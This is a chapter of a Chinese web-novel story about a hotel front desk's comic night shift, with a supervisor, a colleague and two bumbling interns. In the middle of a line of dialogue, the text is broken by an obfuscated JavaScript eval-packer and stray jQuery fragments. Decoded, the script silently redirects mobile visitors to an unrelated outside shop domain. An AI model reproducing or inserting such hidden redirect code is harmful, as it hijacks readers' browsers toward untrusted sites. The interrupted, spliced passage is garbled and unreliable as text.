晚上九点，林深到岗的时候，Jason已经坐在前台后面吃包子，一边吃一边刷手机。看见她来了，举起包子打招呼。
“主管。”
“滚。”
Jason点点头，继续吃。
两个实习生也到了。男生永远精神饱满，女生永远问题很多。林深刚坐下，女生已经开始。
“为什么夜班要做十二个小时？”
“因为酒店这么排。”
“为什么这么排？”
“因为酒店这么排。”
“为什么？”
Jason抬起头。
“因为老板想买奔驰。”
前台安静了两秒。女生认真思考，似乎觉得有道理。男实习生疯狂点头。
“好的。”
Jason看着他。
“你知道我刚刚说什么了吗？”
“知道。”
“说一遍。”
男生沉默了，三秒后。
“忘了。”
Jason笑得包子差点喷出来。
“你真是个人才。”
入住高峰很快结束。十一点以后，大堂重新安静下来。林深开始教两个实习生做夜间交接。
“这个要核对。”
“好的。”
“这个不能跳。”
“好的。”
“这个必须看。”
“好的。”
十分钟后，男生把最重要的一项直接跳过去了。林深看着电脑，沉默了。
“我刚刚说什么？”
“好的。”
“我问你我刚刚说什么。”
男生认真想了想。
“忘了。”
Jason已经笑得趴在桌上。
“你这脑子有自动清理功能。”
女生在旁边举手。
“为什么一定要看这个？”
“因为会出错。”
“为什么会出错？”
“因为人会错。”
“为什么人会错？”
Jason终于抬头。
“因为人不是电脑。”
“为什么不是电脑？”
Jason放下包子，看向天花板，像在思考辞职的可能性。
凌晨一点，前台电话响了。林深接起来。
“您好。”
电话那头沉默两秒。
“空调太冷了。”
“好的。”
挂断电话，Jason起身。
“走。”
男实习生立刻跟上，像第一次出任务。三个人一起上楼，客人房间里冷得像冰箱。Jason把温度调高。
“这样可以吗？”
“可以。”
三个人回来。五分钟后，电话又响。林深接起来，还是那个房间。
“太热了。”
Jason站在原地，看着电话，沉默了三秒。
“走。”
第二次上楼，调低，回来。十分钟后，电话再次响起。
“太冷了。”
前台彻底安静。男实习生看着电话。
“他到底想要多少度？”
Jason认真思考。
“我不知道。”
“那怎么办？”
Jason拿起对讲机。
“陪他找。”
第三次上楼，第四次上楼，第五次上楼。凌晨两点半，客人终于满意。男实习生回来的时候已经怀疑人生。
“酒店每天都这样吗？”
Jason摇头。
“不是。”
男实习生松了口气。Jason继续说。
“今天算正常。”
男实习生表情瞬间垮掉。女生又举手。
“为什么客人自己不会调？”
Jason闭上眼。
“这是个好问题。”
“为什么？”
Jason彻底沉默。
凌晨三点，大堂重新恢复平静。男实习生坐在电脑前认真操作，林深刚准备夸他，下一秒，他把退房客人重新做了一次入住。Opera发出提示，整个页面乱成一团。林深愣住了，Jason愣住了，女生愣住了，男实习生也愣住了。空气安静了三秒，然后他小心翼翼开口。
“我是不是错了？”
Jason缓缓点头。
“这次你记住了吗？”
男生疯狂点头。
“记住了。”
Jason看向林深。
“他十分钟后会忘。”
林深说。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17823332|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我知道。”
女生又举手。
“为什么会忘？”
Jason终于崩溃。
“因为他是鱼。”
“鱼只有七秒记忆吗？”
“对。”
“为什么？”
Jason把工牌摘下来放桌上。
“因为我要辞职了。”
前台瞬间安静。男实习生吓了一跳。
“Jason老师！”
女生也愣住了。
“真的吗？”
Jason重新戴回工牌。
“假的。”
“为什么？”
Jason彻底不说话了。
凌晨四点半，大堂只剩空调声。男实习生认真研究Opera，女生认真研究为什么，Jason认真研究早餐什么时候送到，林深认真研究视频后台。四个人各忙各的，像四个完全不同的世界。视频播放量已经七万多，评论还在增加，林深顺手回了几条。Jason看了一眼。
“发财了吗？”
“没有。”
“多少了？”
“七万。”
Jason沉默两秒。
“你要不别干酒店了。”
林深笑了。
“宋青瓷也是这么说的。”
Jason点点头。
“英雄所见略同。”
女生立刻举手。
“为什么？”
Jason看着她，沉默很久，最后说。
“因为我不想上班。”
凌晨六点，天开始亮。男实习生终于学会刚刚那个操作，兴奋得不行。
“我会了！”
Jason看着他。
“恭喜。”
女生立刻问。
“为什么恭喜？”
Jason缓缓站起来，拿着水杯往后走。
“林主管。”
“嗯？”
“以后这两个归你了。”
说完头也不回地走了。前台安静了两秒。女生看向林深。
“为什么归你？”
男生认真点头。
“好的。”
林深看着两个人，忽然明白了Helen以前为什么总喝咖啡。她低头打开抽屉，默默给自己泡了一杯。